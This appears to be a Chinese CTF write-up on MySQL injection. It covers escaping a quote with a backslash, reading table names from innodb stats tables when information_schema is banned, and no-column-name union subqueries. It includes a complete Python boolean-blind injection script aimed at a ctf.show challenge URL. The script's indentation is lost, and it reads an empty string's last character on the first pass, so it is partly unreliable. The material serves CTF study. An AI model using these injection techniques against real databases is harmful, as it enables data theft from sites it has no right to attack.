updata_ban-infomation表_无列名注入
updata
过滤了引号,用反斜杠 \ 注释掉password 后面的引号,那么username就能为我们控制 有用字符串的地方可以用 16 进制表示
ban-infomation表
很简单的无列名注入 首先是ban了information表,可以有很多其他表代替,得到数据库中的表名 Bypass information_schema与无列名注入 概述MySQL统计信息
mysql.innodb_table_stats和mysql.innodb_index_stats 这两个表比较好用,可以用自己的mysql试一下 得到了表名,下面就无法得到列名了,其他表没有column的信息
无列名注入
这里我拿这个users表举例 我们只知道表名 users,我们可以使用这样的一个联合查询,可以看到他的列名就会变成数字 我们还需要知道他的列数才行 之后我们要查哪一列信息,就可以用数字 注意:数字要用反引号 意思就是 把后面union查询的结果当一个表 注意要起别名 例如我后面这个 a 反引号不能用时:
布尔注入脚本
import requests
import random
url = 'http://e6ee800c-7aca-4c5d-863b-7694aafc6bfb.challenge.ctf.show:8080/api/index.php'
database = 'database()'
databases = 'select group_concat(schema_name) from information_schema.schemata'
tables = 'select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()'
column = 'select group_concat(column_name) from information_schema.columns where table_name=0x666c616761'
flag="select group_concat(concat(`1`,`2`,`3`)) from (select 1,2,3 union select * from flaga) a "
sql_in = 'sql inject error'
result = ""
judge = "u6210"
m=random.randint(1,100000)
for i in range(1, 100):
l = 33
r = 130
mid = (l + r) >> 1
while (l < r):
payload = {
'username':"where username=0x7573657231 and ascii(substr(({}),{},1))>{}#".format(flag,i,mid),
'password':str(m)+'\\'
}
html = requests.post(url, data=payload)
if sql_in in html.text:
print('error!!')
break
if judge in html.text:
l = mid + 1
m = random.randint(1, 100000)
else:
r = mid
mid = (l + r) >> 1
if result[-1] == '!':
break
result = result + chr(mid)
print(result)
print("result: ", result)
当union被过滤了
首先可以通过两列数据的比大小来确定列数 说明有三列数据
然后还是数据比大小来确定数据内容
236
过滤了flag 用 16进制表示 代替,其他同上
|